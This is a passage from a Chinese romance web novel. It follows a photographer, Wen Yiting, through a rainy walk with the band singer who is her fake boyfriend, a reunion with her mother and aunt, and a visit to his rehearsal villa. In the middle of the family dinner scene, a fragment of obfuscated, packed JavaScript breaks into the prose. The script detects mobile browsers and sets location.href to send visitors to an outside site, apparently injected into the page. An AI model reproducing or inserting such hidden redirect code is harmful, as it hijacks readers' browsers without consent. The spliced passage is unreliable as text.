她盯着他的雨伞顿了一下,眼睛眨了眨,“我住得不远,雨停了走回去就行。”
“这雨一时半会应该不会停,打算一直这么站着等?”他笑道。
笑容融进潮湿,像一丝干燥舒适的微光,在她眼里摇晃,不断生出招引。
温亦汀连忙移开,思绪万千,稍稍扬了扬语调,“那我坐着等?”
耳边又是一声轻笑。
程信淮显然是没想到她还能说出这样一个答案,顿时觉得面前这人和刚刚那般精明睿智的人就不是一个人。看着她规规矩矩的样子,莫名觉得很有趣。
“傻啊,我送你回去,我有伞。”
“我不傻……”温亦汀撇了撇嘴,不大服气。
“行,一点都不傻。”程信淮没跟她争论,将手中的雨伞撑开,在雨幕中开出黑色花朵。
“那走吧?大聪明。”
温亦汀:“……”
街道蒙上一层细纱般的水珠,微风扫过,轻轻附着在一侧的外套上,黑色的花朵朝她倾斜几分,连同凉风也被抵挡在外。
一把雨伞下,谁都没说话,偶尔掠过几声车轮滚过的沙沙声。
温亦汀不觉得尴尬难熬,自以为的
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,八年之后,她似乎离他更近了。
雨势不停,他们的路也还有一段距离。
此时,她不太想让雨停,不太想让这段路走得太快。
“今天相亲怎么样?”程信淮有些好奇。
身边的人与她步调一致,漫步巴黎的街头。
温亦汀顿住,想解释今天来这儿的目的,到嘴边就变了,“没有成功。”想到什么,又补充,“要是成功了,怎么还会和你合作呢。”
程信淮点了点头表示认可,“也对,不然你就是个脚踏两只船的坏蛋。”
他的语气很平常,说着朋友般熟络轻松的话语。调侃并不过分,让她那种难以言喻的紧张感减轻了几分。
“我可不是坏蛋,我现在只踩了一条船。”温亦汀格外认真地说,杏眸里藏着急切。
她不想在程信淮面前有任何不好的印象。
程信淮听到这话,稍稍转头看了她一眼,白皙的脸上有点微微的红,像是着急的,有种大义凛然的仗义感。他忍不住笑了笑,语调随意,“知道了,我们以后可是一条船上的蚂蚱,不能起内讧。”
一条船上的蚂蚱……温亦汀有些莫名地难过。
一声来电提醒打断闲聊。
两人的距离不算远,程信淮接听电话时,那头的声音隐隐约约,温亦汀听得出是个中年男性低沉严肃的声音,夹杂着“联姻”“故意”之类的字眼。
“您别再费劲了,省省力气吧。”程信淮对着那头说道,视线朝着她的方向看了看,“我有女朋友了。”
“女朋友”三个字像是一个机关,让温亦汀紧绷起脊背。
那头的声音大了几分,显然是不太相信,甚至有些愤怒。
“和她以前就认识,互相有感觉就很快在一起了……”他的话说得滴水不漏,并且还都不是假话。
他们高中就认识,时隔多年再见,确认彼此都是逃避某些家事之人,感觉对上了,成为了彼此的挡箭牌。
他是为了找演员躲联姻,可她却不是。
没聊几句,电话就挂断了。
雨似乎没下了,程信淮伸出手试探一番,确定没下后,收下了伞,两人的距离拉开了些。
“回北城了可能就需要你先帮帮忙了。”他嗓音柔和,仿佛雨中的一缕清风,说出的话却很生硬。
“没问题。”
……
空气在两人之间静谧了片刻,程信淮突然问她,“去看我们的演唱会吗?下个月日本的。”
温亦汀一顿,转头看他,倒是有些欣喜。
“之前有留几张票,如果你和君如想去的话,可以一起过去。”
温亦汀轻声笑了笑,点头答应,“这算是给我的好处?”
程信淮跟着笑,望了她一眼,“你也可以这么理解。不过作为朋友,请你看演唱会也是应该的。”
温亦汀:“……”
“之前该不会都没看过我们的演唱会吧?”程信淮半开玩笑道,眼神里却是探究。
“之前看过一两次,无奈你们的票太难抢了,想看都不一定能有票呢。”温亦汀笑着摊手,说了一半的实话,也保留了一半。
程信淮打量她,明媚的笑容像是雨中的一朵茉莉花,清雅动人,“以后我可以给你开后门。”
这话像是一阵清风,悄悄又吹进了温亦汀的心里,她转头看着程信淮明朗的侧脸,下颌角轮廓清晰,看得她出神。
“怎么了?”察觉到她的注视,程信淮转头。
“没什么,觉得自己太幸运了。”她收回视线,看着前方一闪一闪的红灯。
“怎么说你也是我们的元老粉丝,一般人我可是不给开后门的。好好珍惜,一丁。”顺着她的话,程信淮故作姿态地骄傲起来。
“遵命,大主唱。”
说者无心,听者有意。
她是该好好珍惜。
8. 月亮绕地球
一周后。
程信淮本是邀请她一起回北城,无奈他们临时加了行程,温亦汀懒得等,工作结束后提前回了北城。
林君如直接将她带到了说好的那套中心公寓。
初到中心公寓,她不可思议,“这真的是你闲置的?不会觉得太浪费了吗?”
本以为林君如说的只是普通公寓,没想到是有名的中心公寓,一直都是北城耳熟能详的位置,环境优美,交通便捷,身处中心城区也并不会嘈杂喧闹。提起这里的公寓,得来的大多是夸赞和向往。
“你自己怎么不住这边?”温亦汀参观完整套房子,满是赞叹。
装修简约干净,家具齐全,直接领包入住。
“离公司太远了。那破公司都在三环线上了,早上九点上班,通勤一个半小时,我得六点多就起来,太痛苦了。”林君如哀嚎,她在一家杂志社上班,但公司位置较偏,离中心公寓自然是远。
“你住这边,离你初步选定的那些工作室的选址也都差不多半个小时左右的通勤,正好。”林君如帮细数一切,通勤,基础设施,环境安保,样样都符合她。
“我住这里……太奢侈了吧。”据说,这里物业费都不是一个小数目。
“住这里好,其他什么物业费管理费你不用管,我早就交了。你都答应了,就住这,反正我是等着收房租了。”林君如坚持,让她直接住着,还说着顺便给她这里增加点人气。
思来想去,温亦汀懒得再折腾,决定先享受。
林君如走后,温亦汀慢慢开始收拾行李。
简单收拾妥当,她看着箱子里带回来的一些药品和护肤品,弯腰全数装进另一个袋子,准备给老城区的两位送去。
一路上,爬山虎在人行道的围栏边盛开得热闹,一片绿过一片,路上形形色色的行人或快或慢。
在老城区,总会流淌着惬意的时光,相比于那些冰冷水泥筑起的高楼大厦,这里的年代感更有生活气息,更让人有生活的实感。
沿着街道走了一会儿,很快就到了目的地。
街道边,一家商铺头顶挂着红色招牌,写着爱意便利店四个字。外面放着一个冰柜,伊利的广告贴纸显眼亮丽。再往里看,一个女人正弯腰打扫着货架的卫生。
温亦汀在门口站了一会儿,轻轻将袋子搁在收银台上,拿过一旁的另一块抹布,准备帮忙把剩下的一角灰尘擦干净,“老板,需要帮忙吗?”
女人转头,愣了一下,立马喜上眉梢,惊喜地喊了声“小汀”。
面前这个女人,相比于八年前,多了些皱纹,面容和祥,一头黑发却格外漂亮。这个人就是她的小姨,林月彩。
“小姨,我回来了!”她喊了一声,话语里却开始染上哽咽。
“……你这孩子,不是说要后天才回来的吗?提前回来了也没给我们说一声,我们都没有准备。”林月彩双手紧紧抱着温亦汀不撒手,嘴上一直唠叨着。
“那边工作处理得比预计的要快,所以我就提前回来了。”温亦汀笑得开心,连解释的语气都轻松了几分。
“回来就好了,”林月彩顿了一下,“你妈超市买菜去了,去了有一会儿,估计很快就回来了。”
温亦汀垂了垂眼眸,轻轻扬起一个笑容,“知道了。”
“回来了就不走了吧?”
温亦汀点了点头。
“挺好的,你妈心里也是老想念你,回来就好了。”
“本来我就不应该出国的。”温亦汀轻声嘀咕了一句。
背上背被拍了下,传来林月彩的嗔怪,“以前这里风风雨雨的,留在这里讨苦吃呢。”
林月彩自然知道温亦汀的心里想什么,转换了轻松一点的语气,“新环境才能有好心情,你看看,现在我们小汀是个摄影师,漂漂亮亮的,多好。这些啊,可都是你妈的先见之明。”
面前的女孩面容白皙,唇红齿白的,林月彩看着心里欢喜的很,唯一不足,就是太瘦了,一件衬衫套在身上看着空空荡荡的。
“小姨,我都知道。所以以前我就忍着没回来,现在回来了怎么赶我我都是不走的。”温亦汀抬眼看着林月彩狡黠地笑着,语气里带着点撒娇的意味。
林月彩有些欣慰,看了温亦汀好一会儿,“怎么比视频里还要瘦一些啊。”
温亦汀:“想念你们做的饭菜,思念得瘦了。”
“油嘴滑舌的。”林月彩说完,拍了下脑袋,“哎呀,那我赶紧让你妈多买点菜回来,今天给你做个满汉全席。”说着,林月云掏出手机,拨通了电话。
“姐,今天多买点好菜……买点新鲜的牛肉,鸡翅这些都买点……”林月彩嘴里像吐连珠炮似的,一口气说了好多菜。
电话开着功放,等林月彩刚说完,那头的林月云就忍不住吐槽,“月彩,家里就我们两个人,吃不了这么多,再说了,咱也不是什么大户人家,吃这么好不合适吧?”
温亦汀忍不住被自己母亲这一本正经的吐槽逗笑,林月彩看了她一眼,也跟着笑,“今天是个好日子,吃好的。”
“哪个大人物要来了?”林月云唯一觉得只能是这个原因。
“等你回来就知道了。”林月彩打哑谜,又拉回正题,“刚刚给你说的那些菜记得都买回来。”
“知道了知道了,你再晚一步,我就结账从超市出来了。”林月彩兀自说着,“不说了,你把要的菜微信发给我,一下说这么多,我哪里记得住。”
挂断电话,温亦汀看着林月彩手上忙着给林月云发微信菜单,自顾帮着把货架剩下的区域擦干净。
“别擦了,先回去。”林月彩发完信息,拿下她手里的毛巾,丢进水盆里,几下清洗干净,拉着她往超市外头走。
“等会儿,东西。”温亦汀跨到门口,又折回去把拿过来的袋子提上。
“买的什么?净花钱。”
“买了点那边的补品跟保健品,口碑都很好,你和妈平常记得吃。”温亦汀提着袋子,在旁边等着林月彩收拾结束。
“吃了还能返老还童呢?”林月彩不以为意,显然对这些什么东西不感冒。
“返老还童有点困难,但是对身体好,买了可不能浪费,得吃。”温亦汀又一次提醒,生怕林月彩不放在心上。
“行,吃。”
这天的爱意超市早早打了烊,正逢上前来买东西的邻居,“哟,今儿怎么这么早就关门啦?”
林月彩笑着停下关门动作,“小汀回来了,早点回家去。你要拿什么东西?”
“哟,这是小汀啊,这么久没见,漂亮得都要不认识了。”
“刘叔。”温亦汀笑着打了声招呼。
邻居点了点头,眼睛盯着温亦汀看了几眼,脸上的笑意更甚,想起林月彩之前的问话,“家里酱油快完了,想着回去顺手带一瓶。”
“那进去拿,还没关门。”
“你这收银的都关了,明天再来吧。”邻居摆了摆手,“小汀这么久没回来了,不耽误你们了。”
这里是一片的老式居民区,靠近街道的一楼都租出去作为商铺,林月彩和林月云将一楼租下来开了便利店。再往居民区里走,拐了一个路口就到了她们居住的楼房。
这是林月彩离婚后分到的离婚财产,温亦汀对这里的印象并不多。
自从那年家里出事后,她和母亲搬来这里跟小姨一起住。没住几天,她就出了国,即使前两年回来过,但她印象最清晰的还是楼道里不太明亮的灯,以及有些掉了漆的门窗。
她们住六楼,也是顶楼,很少有人上来,因此天台变相地成了她们休闲的地方,天台上种了好几盆月季,靠墙的有一片用砖头垒砌的小土堆,种上了大葱和一些蔬菜,绿意盎然。
“家里怎么还装修了?”门打开,入眼的事一片崭新的景象,房子里贴了全新的壁纸,那些掉漆的门窗也换成了最新式的。
“上半年就弄了。你不是要回来了嘛,也想着家里确实旧了点,有时候打扫都不方便,索性全部把里面翻新了。”林月彩在玄关处换好鞋,又直接拿出洗干净的拖鞋丢给她,“换一下。”
温亦汀换好鞋,参观着焕然一新的家,“这我都有点不习惯了。”
“我跟你妈一开始都有点不习惯呢,久了就好了。”
没过一会儿,林月云提着几大袋菜回来了,“快来接一下。”
温亦汀连忙上前分走两个袋子。
“小汀,小汀回来了啊。”林月云愣怔过后,立马升起溢于言表的欣喜。
“妈,我回来了。”温亦汀看着林月云笑了笑,眼中含着几分水汽。
两人相视一笑,似乎有很多话要说,却在这时不知道该说些什么,该从何说起。
最后,只化作无言的默笑容。
将几大袋菜一一整理好,林月云开始反思,“菜是不是买少了点,我再去买点吧,骑车过去很快。”
温亦汀阻止,“妈,这么多菜够了,吃不了多少的。”
“姐,菜差不多了,小汀那个小身板再怎么吃也吃不了多少,我们先做点她爱吃的,以后有的是机会做给她吃。”林月彩手脚麻利,已经开始洗菜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765176|174545||http|test|mini|href|location''.split(''|''),0,{}));
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>林月云想了想,妥协了,“那行,今天先做几道你最爱吃的。来个可乐鸡翅,土豆牛腩,蒜香排骨……在炒个蚝油生菜和其他的青菜,也不能光吃肉,要均衡点……”
“好。”
看着小姨和母亲你一言我一语的情景,温亦汀心中染上久违的家的温暖。
温亦汀本想上前帮忙,被两人直接赶了出来,一致觉得她肯定不会做,进去了反而帮倒忙。
她百无聊赖,将整套房子看了个遍,她的卧室还是原来的那间,一切的物件似乎都没有什么变动,但是完全看不见什么灰尘,一看就是经常被打扫。
陌生又熟悉的环境,让她油然生出一种恍惚的感觉,就好像她曾经在这里生活了很长一段时间一样。
再出来时,餐桌上的菜已经快要摆满了,全都腾腾地冒着热气,光亮的色泽在灯光的照耀下格外诱人。
“快开动。”林月云将最后一盘菜端上桌,跟着坐下。
温亦汀看着桌上的满汉全席,气势汹汹,仿佛下定了某种决心一样。“好久没吃到这么好吃的饭菜了,我要吃三碗……”
“你能吃这么多就好了,你也是该多吃点饭长肉。”林月云笑她,眼里却生出了疼惜。
温亦汀连声应好。
简单的房子里,伴着几声欢笑,满是温馨。
温亦汀食量并不算小,但也架不住她妈和小姨一个劲地给她夹菜添饭。
她慢慢吃着,林月彩开始问起话来,“回来是跟我们住还是怎么?你回来住的话,我们就再把你房间打扫一遍,之前你妈恨不得天天打扫的,也没什么灰尘。”
“我已经找好房子了,不住家里。”
“不喜欢和我们两个老太婆住啦?”林月彩开起玩笑,其实看到她过来时没箱子和行李,就已经大致猜出来了。
“没有,那边离工作地方比较近,方便通勤。”温亦汀稍微有一点心虚,目前来说,她还算个无业游民,工作并没有尘埃落定。
“老城区确实不如中心城区,那住哪里?”林月云问道。
“林君如闲置的一套公寓里,在一环线那边。”她老实回答。
“白给你住?你们俩关系好也不能这么占人家便宜。”
“没,给她付房租。”
“那就好。什么时候叫君如过来吃饭,好久没见到她了。你在国外,她偶尔还过来看看我们。”林月云又给她夹了一些菜,一边跟她商量着。
“行,下次我叫上她一起回来。”
“你不回来住也好,免得被那家子人知道你回来了在你面前乱晃。”林月彩嘴上没把住门,想把话收回来都晚了。
温亦汀垂下筷子,扫了一眼两人,“他们还是经常过来吗?会不会来捣乱?”
一阵短暂的静默过后,林月云才打马虎眼地混过去,“怎么可能经常来,避开我们才来不及呢,他们怕我的。”
温亦汀不知道该说什么,一个略微沉重的话题就这么戛然而止。
她不会提,林月彩和林月云也是。
吃得差不多时,林月彩看了一眼手机发来的消息,随即问起,“小汀啊,谈朋友没?”
温亦汀一顿,“怎么了?”
“就是刚刚那个邻居刘叔,他儿子和你年纪相仿,说是想让我问你有没有男朋友,没有的话,介绍给他儿子认识认识。”林月彩一口气解释完,顺着喝了几口水。
林月云没多大反应,“这得看小汀自己的想法,我们就别跟着操心她的这些事。”
林月彩看了一眼林月云,也附和,“确实,你感情的事我们不管,想结婚就结,不想结婚就跟我们过一辈子。什么相亲催婚啊这些我们绝对不会做。”
温亦汀:“……”
手机揣在兜里,隔着一层布料传来一声震动。
她掏出来看了一眼。
程信淮:【下周六和我妈一起吃个饭,有时间吗?】
温亦汀手上一抖,嚼着口中的鸡肉,放下了筷子。
虽说已经达成了这种假扮的合作关系,但未免进度也太快了,她都觉得自己还没做好准备。
发了句“有时间”过去,想了一会儿,温亦汀准备再问问要不要买什么礼物,斟酌过后又放弃了。这样显得她不够专业,不是一个合格的伙伴!
程信淮:【那周六见。】
温亦汀:【好。】
对话中断,该传达的意思说完便没了后文。
关了手机,温亦汀扫了一眼面前吃饭的两人。
“那个……妈,小姨,我已经有男朋友了……”
9. 地球绕着太阳走
“有男朋友了啊,在一起多久啦?做什么的?什么时候让我们见见?”林月彩一连串的问话已经完全暴露她的好奇。
“刚在一起没多久,现在见你们,是不是太早了点啊……”
“稳定了再见也行……我跟你刘叔说一声,免得人家一直催问。”林月彩说着便拿起手机,发了一条语音消息。
“小汀,男朋友也是北城人吗?”一旁一直没怎么说话的林月云问道。
温亦汀抬眼看了看自己的母亲,从她的眼里看到了隐忍的关心和不知名的愧疚。
“他也是北城人,以前高中时候……他就是我对面学校的,和君如也认识,算是朋友。”
“北城高中对面的……那个清源高中啊,那可是有名的贵族私立,不简单啊。”林月彩点评道。
温亦汀垂眸扒饭,淡淡嗯了一声。
“看人最重要的是人品和上进心,其他的外在和条件不是重要的。你自己有判断,我们都支持你的选择和决定。”
林月云不干涉她的选择。她一直有顾虑,害怕因为自己的那些烂事,让她对爱情,对婚姻都存在阴影,所以,在感情这事上,她作为母亲,其实没什么资格去多说什么。
温亦汀点头说好。
“叫什么名字?有没有照片,让我先看看。”林月彩放下筷子,看着她,笑容很大。
温亦汀掏出手机,在相册里翻了翻,翻到一张之前在练习室偷拍程信淮弹琴的照片,角度并不好,而且偷感很重。她盯着照片看了一会儿,还是决定不给她们看。
“暂时没有照片,下次拍一张了给你们看。”温亦汀关闭了手机,慢吞吞补充,“……他叫程信淮。”
“程信淮?怎么感觉在哪里听过似的。”林月彩喃喃念了一遍名字。
“可能听到过其他什么相似的名字吧。”林月云随口说了句,把温亦汀刚要出口的话拦在嘴边。
“有可能……名字还挺好听的。”
温亦汀:“……”
临近傍晚,温亦汀才回中心公寓,林月云开着电动车送她到了小区门口。
她下了车,林月云也跟着下车,从后备箱里拿出一大袋做好的熟食,“这些都是可以直接热一热就吃的,先前刚做好的,还有点热,先在外面放凉了再放冰箱里,饿了就拿出来加热一下就能吃,很方便。现在的外卖也都不健康不干净,少吃点,要是想吃什么,回那边,我给你做。”
温亦汀听着母亲絮絮叨叨的叮嘱,并不觉得烦,甚至感到安心。
她笑着答好,接过她手中的东西抱在怀里。
“妈,你要不要上去坐坐?”
林月云看了她一眼,“今天就不上去了,超市里刚来了货,我得赶快回去帮你小姨把货点一下。”
“那好吧。”
林月云盯着自己的女儿看了好一会儿,慢吞吞地启动了电动车,“那我先回去了,你要是有什么事,给我们打电话……妈话不多,嘴笨也不知道该和你说些什么,不过你有什么事不要憋在心里,不想跟我说,就跟你小姨说……”
温亦汀心头咯噔一下,从她母亲的话里听出了卑微。
她心中五味杂陈,一个母亲为什么要对自己的女儿感到卑微,她突然觉得好难过。
看着自己母亲眼角的皱纹,在淡淡的笑意下加深,她鼻子有些泛酸,“妈,我会给您打电话。”顿了顿,她又补充,“小姨很好,您很好,我最爱你们。”
林月云眼里闪过一丝惊喜,连忙转头上了车,“有点冷了,你赶快上去吧。”
-
回北城已经快一周,温亦汀去微博看了一圈质数乐队的超话,众人在巴黎接受专访的视频已经发布了好几天。
算了算时间,程信淮这个时候应该也差不多回了北城,但温亦汀似乎也没什么借口去问程信淮每天的行程。
她只能等着周六的到来。
闲来无事,她打算出门四处转了转。
她在街上漫无目的地游荡,走到一处偏僻的拐角,发现了一家极其隐蔽的唱片行,看着并不是什么新潮的门面,并不会给人想要进去看看的欲望。
即使街道已经有了变化,但她还是记得。
因为高中时候,这里是一家专门卖碟片的店,程信淮经常光顾,老板是个老爷爷,年迈且孤身一人,这家碟片店除了偶尔几个熟人光顾,可以说完全没有生意。
直到经常来了程信淮他们几人,让这里的气氛变了样。
认识程信淮之后,她也会跟着他们一起光顾。
那时候,她发现了程信淮不刻意的善良,没事的时候就带着队友来店里一起看碟片,和老人聊那时流行的碟片,老人欣赏的歌曲,年轻时候的意气风发……他给那间偏僻冷清的碟片店增加人气,刻意多买一些不必要的碟片,让老人能多有一点收入。
这个叫程信淮的少年,在那个时候就已经有了一颗善良质朴的心,至今在音乐路上,也是热忱而真挚的
碟片店早已不复存在,取而代之的是这家唱片行。
店里并没有多少人,显得店里清净典雅。复古的装修风格里,各种唱片琳琅满目,不乏经典与新潮的碰撞。
中间放着几箱黑胶,木质货架上按照特有的分类摆放得整整齐齐,错落有致,繁复又不失精致,温亦汀看了一圈,脚下步子停住,视线落在一角。
蓝天绿地为背景,四个少年站在那里,活力无限,在封面的一角,艺术字体洋洋洒洒——质数乐队《前半段青春》。
除了这张专辑,一片区域的架子上几乎全是质数乐队的专辑。
很少能看到他们所有品类的专辑,温亦汀不禁默默赞叹这家老板的品味。
看了几眼,她直接拿了她还没有的专辑抱在怀里。
视线稍微偏移,木架的左侧一张唱片被挡住一半,封面上的人却让她格外熟悉。
刚伸手要去拿,却被人先截胡。
一只大手精准地将她想要的那张唱片拿走,冷白的指节与银灰星空的唱片封面形成强烈对比,让人忍不住去探究这修长漂亮的手属于谁。
一身黑色运动外套干爽利落,黑色鸭舌帽将脸挡住了大半,但还是能清晰地看见分明的下颌轮廓,薄唇微抿,勾起一点弧度,微微偏头看她。
“!”
“一丁。”还在她震惊之余,对方率先打了招呼。
“好巧……”
她没想到,在一家复古而小小的唱片行,能碰到程信淮。
她忍不住去相信一些缘分的错论。
“你也要这个?”程信淮举着手中的唱片,挑眉问道。
“刚刚突然看到了,有些好奇,想拿起来看看。”舌头差点打结,温亦汀将视线移到别处,没再盯着他看。
“真是意外,上次来都还没看到这张唱片。”程信淮笑得很含蓄,温亦汀抬眼看着,看到了一点害羞的表情在他脸上。
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挺奇妙的。
“你们现在人气实力都这么高,唱片行有你和乐队的不是很正常吗?”看着面前的人拿着自己的唱片,别有一种意味。
“有我们乐队的正常,有我单独的就还挺不好意思的……”
温亦汀明白他的意思。乐队初出茅庐之时,公司为程信淮个人出过一次专辑,也是唯一一次,就是他手上的那张。
里面收录的歌曲大多是他少年时期的青涩之作,后来因为一些原因他们乐队离开当初的公司,当时的人气并不足以家喻户晓,程信淮那张个人专辑也就渐渐淡出视线。
“不奇怪,现在你的这专辑可是孤品,很多人还求着要呢。”温亦汀安慰道,声音清柔。
话落,程信淮看了看她,随即轻笑一声,“你了解得还挺多……”
“我好歹也是在网上冲浪的。”
“你这是准备买下来?”出于她刚刚的行为,程信淮是这么认为的。
温亦汀顿了两秒,点点头。
她心中默念,坦然一点,自然一点。
“把你的这张专辑供起来。”她夸张道。
“这是祝福我,还是诅咒我呢?”程信淮挑眉看他,幽深的瞳孔里有她隐约的身影。
“我怎么舍得诅咒你……”
这话说出来怎么有点奇怪了……
程信淮打量她,淡淡“嗯”了一声,却没有将那独一份的专辑给她。
“……”
温亦汀眼巴巴看着他拿走专辑,不好意思要,只能作罢。
唱片行门口,脚步变缓间,程信淮率先开口问她,“去哪儿?”
“我……就四处逛逛。”一时语塞,她手指死死捏着买好的一袋专辑唱片。
“不去找林君如一起玩吗?”
“她最近热衷逛街购物,我没太大兴趣……”温亦汀其实说不出什么正当的理由,但事实确实如此,林君如的购物战斗力太强了,她有些吃不消。
成为了彼此的挡箭牌后,两人之间的关系似乎近了些,少了几分不要好的朋友之间的疏离,多了几分放松与惬意。
或许这就是一种“同仇敌忾”吧。
车水马龙在两人之间化为一阵短暂的默曲。
“那你对听音乐有兴趣没?”
温亦汀抬头看他:“?”
“等下有没有其他事?”他问得平常,嗓音温和动听。
温亦汀摇头说没有。
“要不要去我们排练室?唱歌给你听。”
利落的下颌线在她眼中明晰,深邃的眉眼像是聚了一泓清潭,薄唇微扬,看得她心慌。
午后的阳光柔和明媚,引得人恍恍惚惚。
温亦汀有一瞬间的愣怔,她想到了很久很久以前,她还是一腔热血的少女,虽然现在也还有热血,只是没以前那么盈满了。
听到这样的熟悉动听的话,她还是心生澎湃。
曾几何时,绿意盎然的校园,清风吹遍路边的一排绿树,发出簌簌的响声,宛如一曲交响乐,伴着他的邀请,让人心花怒放。
那时他说:“要不要去我们新布置的排练室参观?可以听音乐,全立体环绕着给你唱。”
少年意气风发,从容随和的俊逸模样印在她的眼里,她的心里,经久不灭。
“去不去?”他又问了一句,打断她的思绪。
“当然去。”她笑得随和,脸颊的酒窝随之荡漾,“必须去。”
10. 我以为世界是座宁静的宇宙
蓝白别墅外,温亦汀站在院子里仰望这幢建筑,开始怀疑这到底是不是排练室。
肩上被轻轻一拍,打断她的疑思,“走吧,进去了。”
“你们之前的排练室好像不是在这里吧?”据她了解,他们乐队的练习室在一幢大楼里面。
“后来换了地方。但是一直没有透露出去。”
“难怪呢……”温亦汀自然地跟在他身后,轻声嘀咕。
“现在你是第一个知道的,元老。”
“不许叫我元老,显得我年纪很大!”温亦汀快步跟上他,并肩从庭院往里走。
程信淮朝前看了一眼,揽住她的肩膀往怀里带。
“看路。”
温亦汀定在他的大半个怀里,有惊无险地吸了口气,差点就撞柱子上了……
“感谢我的主唱……”她俏皮道,抬眸看程信淮,桃花眼扑扇水灵。
程信淮盯着她的笑容顿了一下,缓缓松开,“看来确实不能叫你元老,都迟缓了。”
温亦汀不好意思地摸了把头发,“失误,我一般反应可快了。”
“怎么每次跟着我就变慢了?”他顺口一问。
“不告诉你……”温亦汀语调转了个弯,慢悠悠地打哑谜。
程信淮看着笑容明媚的女孩,心头划过一丝异样。
他以前怎么没发现,温亦汀笑起来这么好看,这么能感染人,连他都不自觉跟着笑。
走进别墅,温亦汀有了不一样的感受,入眼的是原木色调的装修,点缀着深木色和黑色线条,层次感尤为突出,惬意而舒适。
室内大厅灯光明亮,并没什么多余杂糅的家具摆件,灯光温暖柔和,照亮墙上的各种乐器和乐队海报,旁边的书架上,摆放着不少音乐相关的书籍和文学作品。再往就近的身边一看,便是各种乐器摆件、黑胶唱片和各种奖杯。
排练室内,程信淮给她倒了杯水,示意她在他身边坐下,随机在电脑上点了几下,“你算是这首歌的第一个听众。”
手上不自觉一紧,心中一滞,笑容明媚。
“你的新歌吗?”
“做了有段时间,只是刚拿出来给人听。”
程信淮在电脑上轻点几下。
一曲和缓的音乐,些微鼓噪的间隔,仔细听来像是某个蝉鸣的夏日,和风吹动树叶,簌簌作响,鸟儿在树叶中乱窜,并非躲避,而是与树叶嬉戏。
“一只飞鸟有多孤单,
能否飞跃蔓延的海岸线,
手心蔷薇有多鲜艳,
是否挥洒露水的留恋
……”
音乐并不是完整的一首的时间,还沉浸时,就已经归于安静。
回神,温亦汀恰好看到他的眼神,含着期待,像是在询问她意见。
“很好听,叫什么名字?”
“孤单终结。”他从容回答,直看着她。
深邃的眉眼里像是蕴着一片汪洋,看向她时,格外深情。
温亦汀眼神慌了一下,垂下眼眸看着他电脑上的各种波段数据。
“有什么感觉?”他问道。
“像是……在深海里遨游,自由,又束缚。”这是她听完后的感觉,加上那些歌词,更加深了这种感觉。
空气里沉默了片刻,吉他的一声音戛然而止。
“怎么了?我是不是说错了?”她有些疑惑,小心翼翼地凑近他。
“每首歌给人的感受都是不一样的,没有什么对错。只是好奇,你为什么会有这样的感觉?”
温亦汀没想到他还会这么问,转着眼珠想了想,“孤单真的可以终结吗?我觉得与其说终结,不如说消化。”当听到歌词里的飞鸟,蔷薇,海岸线……那么多,终究都只是一种相对时间的喧嚣。
“我就是随便说说的……”
对面传来扑哧一声轻笑,眼神灼灼,“随便说的也很独到。”
这是程信淮所没有想到的,他的初衷也只是简单地与她分享。音乐这东西,听者千人千面,总是会杂糅代入自我本身的感情与经历,歌词和旋律给人的感受也不一样,但很少有人能在没有任何提示下准确说出他的创作初衷。
他开始感觉,温亦汀或许会很懂他的创作,这让他的某个地方感到莫名的兴奋与欢欣。
之前的注意力都不在排练室,松懈下来,温亦汀才仔细打量这间排练室的布局。暖黄的原木色调与客厅的装修保持一致,隔音墙的色调也做得浑然天成,左侧靠墙的位置放了一排乐器,架子鼓,贝斯,吉他……排练室很大,在另一侧,像是一片休闲区域,两组沙发靠墙而放,透明茶几桌上还放着一把泼漆吉他的小摆件,后面及旁边空荡的墙上,挂着照片,是几人从成立之初到现在每一年的日常合照。
整个练习室,乍一眼看会觉得有些杂乱,多看几眼,就会发现充满了人情和蓬勃的朝气。
她很喜欢这里,让人融入,让人沉浸。
“你们在北城一直在这边练习吗?”她忍不住问道。
“对,我们的据点就是这里。”程信淮放下吉他,也跟着环视了一圈室内。
“怎么样?这里。”他看了眼手机,又放了回去,抬眼问她。
温亦汀抬头看他,明亮的眸子里像是绪了什么波澜一样,看着像含情脉脉一般。
其实,他也只是在期待着她对这间排练室的评价而已。
“很舒适,很有生活气息……我很喜欢这里。”
她不是什么很会夸赞嘴甜的人,只能说得实诚。
沉默片刻。
温亦汀以为自己说错了,有些胆怯地望向身边的人,又看到那双含笑的眼睛正看着他,有些不可思议。
“你的评价很高。”他这样告诉她。
“我也只是实话实说。”
她有些不太明白,这样的评价真的很高吗?
“这里除了是排练室,也是我偶尔住的地方……”他淡淡解释了一句。
“那有生活气息不是理所应当的嘛……”
总感觉是在愚弄她,家当然有生活气息了……
“但是你一眼就看出来了,之前很多人都觉得像个闲置别墅,毫无人气的那种。”程信淮表示有些无奈,他虽然住这里并不多,但还是会尽量将这里布置得稍微有点生活感,可终究是来得少,总会让别墅显得空旷且冷清,除了这间排练室还像点样子。
“有人住就不会,人在哪,家在哪,生活气息就在哪。”温亦汀认真道。
程信淮欲言又止,盯着温亦汀看了好一会儿。
“那你以后可以经常来,给我这里增加多一点生活气。”
“我当然求之不得啦,就怕你们嫌烦。”温亦汀看着他,酒窝清浅,眼眸水灵。
“绝对不会,谁嫌烦我第一个站出来不服。”程信淮拍了拍她的肩,给足了他支持。
“好,那我以后经常过来……听你唱歌。”
程信淮:“……”
“有什么想听的吗?”他重新拿起吉他,缓缓拨弄,随即拿起拨片,等着她点歌。
“随便什么都可以?”
七八年不见,短短时间内,与他重逢,与他成为不太正常的男女朋友,听他唱歌,每一件事都像一块巧克力,甜中带苦,苦中回甘。
“当然……只能点我们的歌。”他有些霸道地提出要求,笑容肆意,将手肘搁在椅背上,格外闲散。
温亦汀忍不住笑了出来,想了一会儿,“一万个旅途……”
话落,程信淮微微挑眉,眼底的笑意加深了些,“很喜欢?”
温亦汀一愣,点头,“很喜欢。”
“有品味……马上为你唱。”
很快,阵阵悠扬的吉他声和鼓点的节奏。
温亦汀静静坐着,却感觉身上忽轻忽重。温暖的空气夹杂着音乐的韵律,一腔清澈空灵的嗓音扑面而来。
“黑白难测的午夜,踏上遥远的疆界。
静心享受这感觉,只做攀缘的青松。
